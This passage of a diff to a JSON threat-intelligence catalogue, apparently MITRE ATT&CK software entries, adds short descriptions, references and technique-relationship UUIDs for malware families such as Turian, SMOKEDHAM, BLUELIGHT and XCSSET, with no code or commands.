+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "0ba9281c-93fa-4b29-8e9e-7ef918c7b13a",
@@ -49937,6 +56529,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "3ae6097d-d700-46c6-8b21-42fc0bcb48fa",
@@ -51097,6 +57696,103 @@
"uuid": "dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2",
"value": "MechaFlounder - S0459"
},
+ {
+ "description": "[SpicyOmelette](https://attack.mitre.org/software/S0646) is a JavaScript based remote access tool that has been used by [Cobalt Group](https://attack.mitre.org/groups/G0080) since at least 2018.(Citation: Secureworks GOLD KINGSWOOD September 2018)",
+ "meta": {
+ "external_id": "S0646",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0646",
+ "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish"
+ ],
+ "synonyms": [
+ "SpicyOmelette"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "599cd7b5-37b5-4cdd-8174-2811531ce9d0",
+ "value": "SpicyOmelette - S0646"
+ },
{
"description": "[WindTail](https://attack.mitre.org/software/S0466) is a macOS surveillance implant used by [Windshift](https://attack.mitre.org/groups/G0112). [WindTail](https://attack.mitre.org/software/S0466) shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)",
"meta": {
@@ -51405,6 +58101,153 @@
"uuid": "b51797f7-57da-4210-b8ac-b8632ee75d70",
"value": "TajMahal - S0467"
},
+ {
+ "description": "[Turian](https://attack.mitre.org/software/S0647) is a backdoor that has been used by [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://attack.mitre.org/software/S0647) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.(Citation: ESET BackdoorDiplomacy Jun 2021)",
+ "meta": {
+ "external_id": "S0647",
+ "mitre_platforms": [
+ "Windows",
+ "Linux"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0647",
+ "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/"
+ ],
+ "synonyms": [
+ "Turian"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "350f12cf-fd3b-4dad-b323-14b943090df4",
+ "value": "Turian - S0647"
+ },
{
"description": "[Valak](https://attack.mitre.org/software/S0476) is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)",
"meta": {
@@ -51941,6 +58784,174 @@
"uuid": "a0ebedca-d558-4e48-8ff7-4bf76208d90c",
"value": "ABK - S0469"
},
+ {
+ "description": "[SMOKEDHAM](https://attack.mitre.org/software/S0649) is a Powershell-based .NET backdoor that was first reported in May 2021; it has been used by at least one ransomware-as-a-service affiliate.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)",
+ "meta": {
+ "external_id": "S0649",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0649",
+ "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html",
+ "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"
+ ],
+ "synonyms": [
+ "SMOKEDHAM"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "2d3f5b3c-54ca-4f4d-bb1f-849346d31230",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a10641f4-87b4-45a3-a906-92a149cb2c27",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "7e0f8b0f-716e-494d-827e-310bd6ed709e",
+ "value": "SMOKEDHAM - S0649"
+ },
{
"description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)",
"meta": {
@@ -52179,6 +59190,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "28170e17-8384-415c-8486-2e6b294cb803",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5",
@@ -53070,6 +60095,145 @@
"uuid": "a0d774e4-bafc-4292-8651-3ec899391341",
"value": "CHEMISTGAMES - S0555"
},
+ {
+ "description": "[BusyGasper](https://attack.mitre.org/software/S0655) is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.(Citation: SecureList BusyGasper)",
+ "meta": {
+ "external_id": "S0655",
+ "mitre_platforms": [
+ "Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0655",
+ "https://securelist.com/busygasper-the-unfriendly-spy/87627/"
+ ],
+ "synonyms": [
+ "BusyGasper"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "e110f94a-e2c5-4f5f-ba78-9c2ab6d2d9e4",
+ "value": "BusyGasper - S0655"
+ },
{
"description": "[Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)",
"meta": {
@@ -53262,13 +60426,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "4dea7d8e-af94-4bfb-afe4-7ff54f59308b",
"value": "Conti - S0575"
},
{
- "description": "[Kerrdown](https://attack.mitre.org/software/S0585) is a downloader used by [APT32](https://attack.mitre.org/groups/G0050) to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)",
+ "description": "[Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)",
"meta": {
"external_id": "S0585",
"mitre_platforms": [
@@ -53276,20 +60447,14 @@
],
"refs": [
"https://attack.mitre.org/software/S0585",
- "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/"
+ "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf",
+ "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/"
],
"synonyms": [
"Kerrdown"
]
},
"related": [
- {
- "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5",
- "tags": [
- "estimative-language:likelihood-probability=\"almost-certain\""
- ],
- "type": "uses"
- },
{
"dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
"tags": [
@@ -53317,6 +60482,48 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "8c1d01ff-fdc0-4586-99bd-c248e0761af5",
@@ -53694,11 +60901,185 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "727afb95-3d0f-4451-b297-362a43909923",
"value": "ThiefQuest - S0595"
},
+ {
+ "description": "[BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)",
+ "meta": {
+ "external_id": "S0657",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0657",
+ "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"
+ ],
+ "synonyms": [
+ "BLUELIGHT"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0",
+ "value": "BLUELIGHT - S0657"
+ },
{
"description": "[MegaCortex](https://attack.mitre.org/software/S0576) is ransomware that first appeared in May 2019. (Citation: IBM MegaCortex) [MegaCortex](https://attack.mitre.org/software/S0576) has mainly targeted industrial organizations. (Citation: FireEye Ransomware Disrupt Industrial Production)(Citation: FireEye Financial Actors Moving into OT)",
"meta": {
@@ -54150,6 +61531,217 @@
"uuid": "7f4bbe05-1674-4087-8a16-8f1ad61b6152",
"value": "TAINTEDSCRIBE - S0586"
},
+ {
+ "description": "[XCSSET](https://attack.mitre.org/software/S0658) is a macOS modular backdoor that targets Xcode application developers. [XCSSET](https://attack.mitre.org/software/S0658) was first observed in August 2020 and has been used to install a backdoor component, modify browser applications, conduct collection, and provide ransomware-like encryption capabilities.(Citation: trendmicro xcsset xcode project 2020)",
+ "meta": {
+ "external_id": "S0658",
+ "mitre_platforms": [
+ "macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0658",
+ "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf",
+ "https://blog.malwarebytes.com/detections/osx-dubrobber/"
+ ],
+ "synonyms": [
+ "XCSSET",
+ "OSX.DubRobber"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "191cc6af-1bb2-4344-ab5f-28e496638720",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
